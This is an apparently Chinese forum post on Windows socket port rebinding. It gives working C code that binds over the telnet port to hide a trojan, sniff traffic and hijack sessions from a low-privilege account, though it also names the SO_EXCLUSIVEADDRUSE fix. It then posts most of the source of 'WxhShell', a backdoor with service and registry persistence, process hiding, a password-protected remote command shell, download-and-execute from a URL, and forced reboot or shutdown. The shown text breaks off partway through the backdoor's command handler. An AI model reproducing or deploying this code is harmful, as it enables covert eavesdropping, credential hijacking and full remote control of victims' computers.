社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 16475阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: n%ypxY0  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); *=}\cw\A  
nK)hv95i_  
  saddr.sin_family = AF_INET; eJ0Xfw%y%T  
FfC\uuRe  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 6zp]SPY  
IvX+yU  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ~_F<"40  
uC! dy  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 +w2 `  
l*z+<c6$_  
  这意味着什么?意味着可以进行如下的攻击: KJ7-Vl>  
C)mR~Ey  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 o3X0c6uU  
V6bjVd9|Z  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) )*L=$0R  
O'{g{  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 c 'rn8Jo}  
z[qi~&7:v  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  <2e[;$  
eUKl(  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 3>6rO4,  
Ie[DTy  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 [7\x(W-:@>  
2BO&OX|X  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 vawS5b;  
Nwg?(h#  
  #include =PjxMC._  
  #include h-]c   
  #include Ae;mU[MK/  
  #include    vO)]~AiB  
  DWORD WINAPI ClientThread(LPVOID lpParam);   iHT=ROL  
  int main() q $=[v  
  { C{>dE:*K^  
  WORD wVersionRequested; fizL_`uMqb  
  DWORD ret; v"l8[::  
  WSADATA wsaData; &bigLe  
  BOOL val; IQWoK"B  
  SOCKADDR_IN saddr; K 8W99:v  
  SOCKADDR_IN scaddr; H@te!EE  
  int err; i!*8@:VI  
  SOCKET s; RBLOc$2  
  SOCKET sc; [ut[W9  
  int caddsize; X2E=2tXl`7  
  HANDLE mt; 3 TRG] 5  
  DWORD tid;   0_N.s5~N  
  wVersionRequested = MAKEWORD( 2, 2 ); /bF>cpM  
  err = WSAStartup( wVersionRequested, &wsaData ); f#\Nz>tOhE  
  if ( err != 0 ) { A*{CT>  
  printf("error!WSAStartup failed!\n"); h!7Lvh`o  
  return -1; hGcu(kAC,  
  } s &f\gp1  
  saddr.sin_family = AF_INET; w8bvqTQ  
   r&_e3#]*  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 (K('@W%\?  
/z )Nz2W  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); {(l,Uhxl""  
  saddr.sin_port = htons(23); GHO6$iM)[  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) {mB!mbr  
  { p/HGI)'  
  printf("error!socket failed!\n"); :m<#\!?  
  return -1; |_hIl(6F5N  
  } &YBZuq2?  
  val = TRUE; kz G W/  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 `i!fg\qnK  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) V ONC<wC  
  { \x|8  
  printf("error!setsockopt failed!\n");  Cg8   
  return -1; wlEK"kKU  
  } >[ g=G  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; U_RWqKL  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 |-HNHUF  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 4Ik'beZqK  
.vie#,la  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 72vp6/;)  
  { )SJ"IY\P  
  ret=GetLastError(); <`u_O!h  
  printf("error!bind failed!\n"); i]Bu7Fuu  
  return -1; F_0@S h"  
  } AwZz}J+  
  listen(s,2); Ph)>;jU  
  while(1) ZFX6 iAxd  
  { R\-]$\1D  
  caddsize = sizeof(scaddr); *-S?bv,T'  
  //接受连接请求 @aP1[(m  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); :%h|i&B  
  if(sc!=INVALID_SOCKET) e@1A_q@.  
  { j_h0 hm]  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); MpTOC&NG%s  
  if(mt==NULL) s{*bFA Z1F  
  { Z)f?X  
  printf("Thread Creat Failed!\n"); czsnPmNEI  
  break; r5y*SoD!  
  } DPkH:X  
  } ,b:~Vpb1I  
  CloseHandle(mt);  `fE'$2  
  } H Qnc`2  
  closesocket(s); G=LK irj(  
  WSACleanup(); @)wsHW%cjz  
  return 0; |D_4 iFC  
  }   Z@bSkO<Y  
  DWORD WINAPI ClientThread(LPVOID lpParam) {gxP_>  
  { #N;&^El  
  SOCKET ss = (SOCKET)lpParam; /t*Q"0X5  
  SOCKET sc; ZZ T 9t#~  
  unsigned char buf[4096]; n:f&4uKoG<  
  SOCKADDR_IN saddr; =G !]_d0  
  long num; ^9><qKbO  
  DWORD val; IG:2<G  
  DWORD ret; 13 %: 3W(  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ;/H/Gn+  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   rs,'vV-2\  
  saddr.sin_family = AF_INET; Er - rm  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); [NV/*>"j&  
  saddr.sin_port = htons(23); j<R&?*  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) -!V{wD3,B  
  { 57q?:M=^  
  printf("error!socket failed!\n"); 8c>xgFWp9  
  return -1; >s )L(DHa"  
  } qC5IV}9`  
  val = 100; 8m?cvI  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) / <%EKu5  
  { B4 5#-V  
  ret = GetLastError(); TM|PwY  
  return -1; YI`BA`BQ8  
  } SE(c_ sX  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Dy:r)\KX  
  { @>8 {J6%\  
  ret = GetLastError(); ou{V/?rb  
  return -1; (g&@E(@]?  
  } skU }BUK6  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) F%.UpV,  
  { 64vj6 &L  
  printf("error!socket connect failed!\n"); y0p\Gu;3j  
  closesocket(sc); fWb+08}C  
  closesocket(ss); )1YX+',"  
  return -1; p 16+(m  
  } c?KIHZ0  
  while(1) #<s"?Y%-  
  { y.s\MWvv>u  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 c|Z6p{)V  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 GB;_!69I  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 nB 0KDt_  
  num = recv(ss,buf,4096,0); 5" (FilM  
  if(num>0) abCxB^5VL  
  send(sc,buf,num,0); Q#*R({)GH  
  else if(num==0) >UV}^OO  
  break; KT7R0v  
  num = recv(sc,buf,4096,0); ddbQFAQQQ  
  if(num>0) .&`apQD}  
  send(ss,buf,num,0); ))nTd=  
  else if(num==0) k3KT':*  
  break; y7R=zkd C9  
  } gdg``U;)p  
  closesocket(ss); @yC3a)=$L  
  closesocket(sc); -s1.v$ g  
  return 0 ; x 0#u2j?zj  
  } )."dqq^ q  
~)zxIO!  
kB%.i%9\\  
========================================================== }8s&~f H  
gf>GK/^HH  
下边附上一个代码,,WXhSHELL 6{0MprY  
`~=NBN=tiL  
========================================================== 6L)7Q0Z  
H/.UDz  
#include "stdafx.h" N 1.fV-  
>;R7r|^k  
#include <stdio.h> NjPQT9&3h  
#include <string.h> AX Q.E$1g  
#include <windows.h> I*$-[3/  
#include <winsock2.h> b|;h$otC  
#include <winsvc.h> NqveL<r`  
#include <urlmon.h> b`% !\I  
O1wo KkfV  
#pragma comment (lib, "Ws2_32.lib") k+J63+obd  
#pragma comment (lib, "urlmon.lib") Z9*@w`x^u  
]EUQMyR  
#define MAX_USER   100 // 最大客户端连接数 Z[B:6\oQ  
#define BUF_SOCK   200 // sock buffer >YsM'.EFD  
#define KEY_BUFF   255 // 输入 buffer 7\ZSXQy1W  
0Wc_m;  
#define REBOOT     0   // 重启 2m} bddS  
#define SHUTDOWN   1   // 关机 e,Y<$kPV  
,el[A`b  
#define DEF_PORT   5000 // 监听端口 W$`#X  
h%NM%;"H/  
#define REG_LEN     16   // 注册表键长度 "@|rU4Y  
#define SVC_LEN     80   // NT服务名长度 t;-F]  
ZHlHnUo  
// 从dll定义API ~B? Wg!  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); d @ l  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); p L^3*B.Nr  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 4%|r$E/TQ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); n)z:C{  
uBn35%  
// wxhshell配置信息 Rha|Rk~  
struct WSCFG { t* p%!xsH  
  int ws_port;         // 监听端口 /Ahh6=qQY  
  char ws_passstr[REG_LEN]; // 口令 ,oPxt  
  int ws_autoins;       // 安装标记, 1=yes 0=no |sl^4'Ghc  
  char ws_regname[REG_LEN]; // 注册表键名 3+vVdvu%  
  char ws_svcname[REG_LEN]; // 服务名 ^,)nuU y  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 bI_MF/r''  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 7+IRI|d  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 9\T9pjdZE  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Plhakngj  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" @K}h4Yok  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ^zS;/%  
TCIbPs E  
}; @8+v6z  
"WO0 rh`  
// default Wxhshell configuration ?STO#<a  
struct WSCFG wscfg={DEF_PORT, ]0MuXiR  
    "xuhuanlingzhe", p=zTY7L  
    1, DsD? &:  
    "Wxhshell", 0IP0z il  
    "Wxhshell", ?Zk;NL9  
            "WxhShell Service", @*- 6DG-f  
    "Wrsky Windows CmdShell Service", Li$2 Gpc/  
    "Please Input Your Password: ", >3&V"^r(|  
  1, e&Q w\Ze  
  "http://www.wrsky.com/wxhshell.exe", >,I'S2_Zl  
  "Wxhshell.exe" #6l(2d  
    }; O6ugN-d>  
c@)?V>oe  
// 消息定义模块 &%8IBT  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; #};Zgixo$  
char *msg_ws_prompt="\n\r? for help\n\r#>"; };EB  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; jW-;Y/S  
char *msg_ws_ext="\n\rExit."; 412E7   
char *msg_ws_end="\n\rQuit."; DyA /!%g  
char *msg_ws_boot="\n\rReboot..."; ]mUt[Yy:z  
char *msg_ws_poff="\n\rShutdown..."; A wk1d  
char *msg_ws_down="\n\rSave to "; ; sqxFF@  
zK{}   
char *msg_ws_err="\n\rErr!"; 6Z2|j~  
char *msg_ws_ok="\n\rOK!"; 9_e_Ne`i`?  
q">}3`k  
char ExeFile[MAX_PATH]; zjSl;ru  
int nUser = 0; r4fg!]J ;  
HANDLE handles[MAX_USER]; E*fa&G~s )  
int OsIsNt; Kp1 F"!  
+DR{aX/ll  
SERVICE_STATUS       serviceStatus; 1oQbV`P  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; {6wXDZxv  
v&3" (fp  
// 函数声明 (I'{ pF)  
int Install(void); O=lRI)6w@e  
int Uninstall(void); u47`&\  
int DownloadFile(char *sURL, SOCKET wsh); V@TA~'$|  
int Boot(int flag); dK,=9DQy5  
void HideProc(void); 7~'%ThUb$-  
int GetOsVer(void); LnN:;h  
int Wxhshell(SOCKET wsl); {fX~%%c"  
void TalkWithClient(void *cs); JG1q5j##]b  
int CmdShell(SOCKET sock); m_BpY9c]5  
int StartFromService(void); 7Kb&BF|Q  
int StartWxhshell(LPSTR lpCmdLine); C8)Paop$  
]=I2:Rb  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ,dw\y/dn  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); _#+l?\u  
1uR@ZK  
// 数据结构和表定义 3d7A/7S  
SERVICE_TABLE_ENTRY DispatchTable[] = W1t_P&i  
{ F:[[@~z  
{wscfg.ws_svcname, NTServiceMain}, D%c^j9' 1  
{NULL, NULL} UQ7La 7"  
}; n<<arO"cv  
E|SmvIV-  
// 自我安装 %g3QE:(2@q  
int Install(void) ,:MUf]Ky  
{ NYs<`6P:Y  
  char svExeFile[MAX_PATH]; 8>D*U0sNl  
  HKEY key; B,%KvL&xMX  
  strcpy(svExeFile,ExeFile); OL:hNbw'~T  
4^4T#f2=e  
// 如果是win9x系统,修改注册表设为自启动 B4+c3M\$V  
if(!OsIsNt) { ua &uR7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1/qD5 *`Y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8ph1xQ'  
  RegCloseKey(key); jVN=_Y}\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { d(R8^v/L  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Fm6]mz%~u#  
  RegCloseKey(key); GK6CnSV8d  
  return 0; UX.rzYM&T  
    } )1R[X!KQ7  
  } Tyb'p9  
} 0Q8iX)  
else { A )CsF  
,1lW`Krx  
// 如果是NT以上系统,安装为系统服务 hN gT/y8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); !W0JT#0  
if (schSCManager!=0) Eb63O  
{ X}C8!LA  
  SC_HANDLE schService = CreateService R~hIoaiN  
  ( Z?3B1o9  
  schSCManager, Yl$ @/xAa  
  wscfg.ws_svcname, l[m*csDk"  
  wscfg.ws_svcdisp, j \d)#+;  
  SERVICE_ALL_ACCESS, Zy:q)'D=  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , m39.j:BG5  
  SERVICE_AUTO_START, 2Dvq3VbiO"  
  SERVICE_ERROR_NORMAL, 9.( [,J  
  svExeFile, zcH"Kh&  
  NULL, a>,_o(]cW  
  NULL, >uQjygjj  
  NULL, 7!m<d,]N  
  NULL, '"rm66  
  NULL >TawJ"q-6R  
  ); Nlwt}7  
  if (schService!=0) q D=b+\F  
  {  CWYOzqf  
  CloseServiceHandle(schService); B,Tv9(sv  
  CloseServiceHandle(schSCManager); *-q &~  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); TeR bW  
  strcat(svExeFile,wscfg.ws_svcname); !bnnUCTb\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { [z= !OFdE  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ZC<EPUV(  
  RegCloseKey(key); EGFPv'De  
  return 0; R$`&g@P="  
    } AE`{k-3=%  
  } Qm"~XP  
  CloseServiceHandle(schSCManager); ;:J"- p  
} NE) w$>0M  
} M\7F1\ X  
t U~q4$qqE  
return 1; sE|8a  
} VsK8:[Al  
Ah5o>ZtcO  
// 自我卸载 _,UYbD\[J}  
int Uninstall(void) 6U%d3"T  
{ 1<lf o^B  
  HKEY key; FB>P39u  
)-}<}< oO  
if(!OsIsNt) { hjk]?MC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { o: > (Tv  
  RegDeleteValue(key,wscfg.ws_regname); bu \(KR$s  
  RegCloseKey(key); EqIs&){  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O~ x{p,s U  
  RegDeleteValue(key,wscfg.ws_regname); '%*hs8s  
  RegCloseKey(key); 6Iz!_  
  return 0; HTMo.hr  
  } \Ov~ t  
} c5O8,sT  
} 7X> @r"9<  
else { X`eX+9  
gf4Hq&Rf  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); qvhG ^b0h  
if (schSCManager!=0) Ep')@7^n  
{ bun_R-  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); /6\uBy"Xt  
  if (schService!=0) ?G]yU  
  { #,})N*7  
  if(DeleteService(schService)!=0) { ]2iIk=r$  
  CloseServiceHandle(schService); 3!#FG0Z   
  CloseServiceHandle(schSCManager); 55y{9.n*  
  return 0; -JFW ,8=8  
  } >Kl_948  
  CloseServiceHandle(schService); aE"dpYQ  
  } 1}ifJ~)5S  
  CloseServiceHandle(schSCManager); 16.?4 5  
} >Apa^Bp  
} dI=&gz  
&fkH\o7)  
return 1; 7/BjWU5*  
} iF.f*3-NJB  
uOKdb6]r6  
// 从指定url下载文件 T`<Tj?:^&  
int DownloadFile(char *sURL, SOCKET wsh) "15frr?  
{ 92b}N|u  
  HRESULT hr; JV/:QV  
char seps[]= "/"; d$?+>t/  
char *token; 61HJ%  
char *file; 5,|{|/  
char myURL[MAX_PATH]; H,j_2JOY=  
char myFILE[MAX_PATH]; ]f wW dtz1  
8/u kzY1!  
strcpy(myURL,sURL); KR hls"\1  
  token=strtok(myURL,seps); "(';UFa  
  while(token!=NULL) XZ8]se"C  
  { 6KN6SN$  
    file=token; zd F;!  
  token=strtok(NULL,seps); e-lc2$o7{  
  } X .K*</(g  
:inVwc  
GetCurrentDirectory(MAX_PATH,myFILE); |^F$Ta  
strcat(myFILE, "\\"); j*1MnP3/8Y  
strcat(myFILE, file); ^ ~Tn[w W_  
  send(wsh,myFILE,strlen(myFILE),0); X~\O]  
send(wsh,"...",3,0); n4H'FZ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); =~)rT8+)  
  if(hr==S_OK) -G=.3 bux  
return 0; Y2g%{keo  
else *F(<:3;2  
return 1; ZHoYnp-~z  
,&Zk63V  
} U2Ky4UFm  
.&>3nu  
// 系统电源模块 >f|0# *  
int Boot(int flag) {5+69&:G.  
{ O%&N6U  
  HANDLE hToken; $"0`2C  
  TOKEN_PRIVILEGES tkp; 1$m{)Io2(  
2) 2:KX  
  if(OsIsNt) { c <Q*g  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 7c@5tCcC-  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); E2S#REB4  
    tkp.PrivilegeCount = 1; <l+hcYam  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; cVmF'g  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); I0^oaccM  
if(flag==REBOOT) { 2%H_%Zu9  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) jOK !k  
  return 0; sY]pszjT  
} [~n |ROo  
else { Sj8fo^K50  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) aan(69=jz  
  return 0; Dx9k%G)!  
} Zu2 $$_+L  
  } *Rc?rMF!  
  else { ,bB}lU)  
if(flag==REBOOT) { rQTG-& ,  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) iI*qx+>f?  
  return 0; 7|!Zx-}  
} : ' pK  
else { /}CAd  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) *ck'vV'@  
  return 0; XuU>.T$]c  
} xa{.hp?  
} D@ @"w+  
J10&iCr{r*  
return 1; iqsR]mab  
} mQK3YoC)  
nwDGzC~y<  
// win9x进程隐藏模块 $)=`Iai  
void HideProc(void) AD6 b  
{ H87k1^}HV  
!D/W6Ic@  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 9'ky2 ]w  
  if ( hKernel != NULL ) C9>^!?>  
  { -Gm}i8;  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); f67pvyy -  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); %PK(Z*>  
    FreeLibrary(hKernel); J DOs.w  
  } 4#ifm#  
+.m:-^9  
return; <LX-},?P  
} d%p{l)Hd  
Y"m}=\4{  
// 获取操作系统版本 $:vS_#  
int GetOsVer(void) 98UI]? 4  
{ +NOq>kH@  
  OSVERSIONINFO winfo; 4:kDBV;v  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); }5B\:*yW  
  GetVersionEx(&winfo); koj*3@\p/  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) gf/<sH2}  
  return 1; fA), ^  
  else /\E3p6\*  
  return 0; nD=N MqQ &  
} 1IK*j +%  
F9q!Upr_+  
// 客户端句柄模块 LftGA7uGJ)  
int Wxhshell(SOCKET wsl) Ve40H6 Ox  
{ ]2iEi`"[  
  SOCKET wsh;  SxX  
  struct sockaddr_in client; iU# "G" &  
  DWORD myID; OgCNq W d-  
bhfC2@  
  while(nUser<MAX_USER) '\"5qB  
{ 81)i>]  
  int nSize=sizeof(client); (>*L-&-  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); gaE8\JSr  
  if(wsh==INVALID_SOCKET) return 1; =}SLQdT  
Hig.` P  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); W/%9=g$m  
if(handles[nUser]==0) )k4&S{=  
  closesocket(wsh); ~!/agLwY  
else  ?H8dyQ5"  
  nUser++; ]tmMk7  
  } LvL2[xh%&  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 7<X!Xok  
lKS 2OOYC`  
  return 0; : TqeVf  
} NK%Ok  
FbW$H]C$  
// 关闭 socket ;i ?R+T  
void CloseIt(SOCKET wsh) iD>H{1 h  
{ bj?=\u  
closesocket(wsh); <J.q[fd1*  
nUser--; (Hs,Tj  
ExitThread(0); 'GLpSWL+*  
} 6Z@T /"mU(  
\[wbJ  
// 客户端请求句柄 Ghar hJ>v  
void TalkWithClient(void *cs) 6E_YUk?KW  
{ =(v'8?--  
zV"'-iP  
  SOCKET wsh=(SOCKET)cs; <." @H<-`*  
  char pwd[SVC_LEN]; &@D\4b,?nm  
  char cmd[KEY_BUFF]; m'uFj !  
char chr[1]; "@Qg]#]JH  
int i,j; !=6\70lJ  
v:NQrN  
  while (nUser < MAX_USER) { q/qig5Ou  
h)z2#qfc  
if(wscfg.ws_passstr) { #E_<}o  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #+|0o-  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); qga?-oz,<6  
  //ZeroMemory(pwd,KEY_BUFF); R|_._Btu!  
      i=0; r,P`$-  
  while(i<SVC_LEN) { Y6(= cm  
NGW:hgf  
  // 设置超时 bE3mOml  
  fd_set FdRead; 9A9T'g)Du  
  struct timeval TimeOut; Qr?1\H:Lq  
  FD_ZERO(&FdRead); 3L{)Y`P  
  FD_SET(wsh,&FdRead); 2{B ScI5K  
  TimeOut.tv_sec=8; U+!&~C^y  
  TimeOut.tv_usec=0; WDt6{5T  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); *0<)PJ T  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); F]s:`4  
x1}Ono3"T  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `dRqheX  
  pwd=chr[0]; F;BCSoO4  
  if(chr[0]==0xd || chr[0]==0xa) { ,}wFQ9*|W  
  pwd=0; ^S!;snhn  
  break; xRq A^Ad  
  } M6].V*k'2  
  i++; .sKfwcYu4  
    } /+m2|Ij(  
Jw{ duM;]  
  // 如果是非法用户,关闭 socket #RHt;SFx  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 6r`Xi&  
} 4I*'(6 ,!  
o1uM(  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 6.6?Rp".  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); eK}GBBdO  
B|'}HBkP  
while(1) { Tf('iZ2+  
wNmC1HOh  
  ZeroMemory(cmd,KEY_BUFF); T>J ,kh  
kr-5O0tmf  
      // 自动支持客户端 telnet标准   Fe.90)  
  j=0; [ B*r{  
  while(j<KEY_BUFF) { f85~[3 J  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); n+k,:O5  
  cmd[j]=chr[0]; L<6nM ;d  
  if(chr[0]==0xa || chr[0]==0xd) { F&    
  cmd[j]=0; aP B4!3W  
  break; {xh5s<uOj  
  } J5Ti@(G5V  
  j++; FOjX,@x&  
    } n+nZ;GJ5d  
iU(B#ohW"  
  // 下载文件 (B! DBnq  
  if(strstr(cmd,"http://")) { <-,y0Y'  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); '~1Zr uO  
  if(DownloadFile(cmd,wsh)) nC)"% Sa  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); F@zTz54t  
  else Oz)/KZ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lr@w1*  
  } VCvf'$4(X  
  else { vJS}_j]_@  
oe!4ng[  
    switch(cmd[0]) { YGRb|P-  
  4vCUVo r  
  // 帮助 .}:*tvot  
  case '?': { 4t>"-/  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 5hTScnL%  
    break; `7[!bCl  
  } $9:  @M.  
  // 安装 ^)C#  
  case 'i': { ew]G@66  
    if(Install()) 7nP{a"4_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W_,7hvE?"H  
    else y9w,Su2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }w8yYI  
    break; zL'S5'<F|  
    } N>1d]DrQR  
  // 卸载 [70 5[  
  case 'r': { 1/K1e$r  
    if(Uninstall()) 2<:dA >1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u! dx+vd  
    else ^Y5I OX:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MH0wpHz  
    break; 0G2Y_A&e**  
    } -Kcjnl92i  
  // 显示 wxhshell 所在路径 9}Ge@a<j  
  case 'p': { .tQ(q=#  
    char svExeFile[MAX_PATH]; COmu.'%*  
    strcpy(svExeFile,"\n\r"); ^YB2E*  
      strcat(svExeFile,ExeFile); JAT%s %UC  
        send(wsh,svExeFile,strlen(svExeFile),0); @AK&R~<  
    break; @]p {%"$  
    } =K}T; c  
  // 重启 .?LRt  
  case 'b': { k!'+7K.  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); MU\Pggs  
    if(Boot(REBOOT)) >y(loMl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1b2  
